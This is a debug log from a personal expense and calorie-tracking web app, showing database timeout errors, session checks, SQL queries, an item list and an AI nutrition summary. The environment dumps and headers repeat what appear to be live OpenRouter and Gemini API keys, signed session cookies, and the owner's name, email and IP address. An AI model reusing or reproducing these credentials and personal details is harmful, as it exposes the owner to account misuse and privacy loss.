2025-12-22T05:50:01.991Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 06:42:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 06:42:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 08:11:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 08:11:11' as DATETIME)"
}
2025-12-22T08:40:01.175Z server-connect:router Serving templateView /
2025-12-22T08:40:01.176Z server-connect:app Executing action step identify
2025-12-22T08:40:01.177Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:01.177Z server-connect:output identity: 1
2025-12-22T08:40:01.177Z server-connect:app Executing action step restrict
2025-12-22T08:40:01.177Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T08:40:01.179Z server-connect:output restrict: undefined
2025-12-22T08:40:01.179Z server-connect:app Executing action step restrict
2025-12-22T08:40:01.179Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T08:40:01.179Z server-connect:output restrict: undefined
2025-12-22T08:40:01.179Z server-connect:router Render template layouts/main
2025-12-22T08:40:01.180Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T08:40:02.241Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T08:40:02.241Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T08:40:02.241Z server-connect:app Executing action step identify
2025-12-22T08:40:02.242Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:02.242Z server-connect:output identity: 1
2025-12-22T08:40:02.242Z server-connect:app Executing action step restrict
2025-12-22T08:40:02.242Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:02.242Z server-connect:app Executing action step identify
2025-12-22T08:40:02.242Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:02.242Z server-connect:output identity: 1
2025-12-22T08:40:02.242Z server-connect:app Executing action step restrict
2025-12-22T08:40:02.242Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:02.243Z server-connect:output restrict: undefined
2025-12-22T08:40:02.243Z server-connect:app Executing action step select
2025-12-22T08:40:02.243Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T08:40:02.243Z server-connect:output restrict: undefined
2025-12-22T08:40:02.243Z server-connect:app Executing action step single
2025-12-22T08:40:02.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T08:40:02.244Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T08:40:02.246Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T08:40:05.204Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T08:40:05.204Z server-connect:app Executing action step identify
2025-12-22T08:40:05.204Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:05.204Z server-connect:output identity: 1
2025-12-22T08:40:05.204Z server-connect:app Executing action step restrict
2025-12-22T08:40:05.204Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T08:40:05.205Z server-connect:output restrict: undefined
2025-12-22T08:40:05.205Z server-connect:router Render template calorie-tracker
2025-12-22T08:40:05.205Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T08:40:05.448Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T08:40:05.448Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T08:40:05.448Z server-connect:app Executing action step identify
2025-12-22T08:40:05.449Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:05.449Z server-connect:output identity: 1
2025-12-22T08:40:05.449Z server-connect:app Executing action step restrict
2025-12-22T08:40:05.449Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T08:40:05.449Z server-connect:app Executing action step identify
2025-12-22T08:40:05.449Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:05.449Z server-connect:output identity: 1
2025-12-22T08:40:05.449Z server-connect:app Executing action step restrict
2025-12-22T08:40:05.449Z server-connect:app options: { provider: 'security' }
2025-12-22T08:40:05.449Z server-connect:output restrict: undefined
2025-12-22T08:40:05.449Z server-connect:app Executing action step single
2025-12-22T08:40:05.449Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T08:40:05.450Z server-connect:output restrict: undefined
2025-12-22T08:40:05.450Z server-connect:app Executing action step single
2025-12-22T08:40:05.450Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T08:40:05.451Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
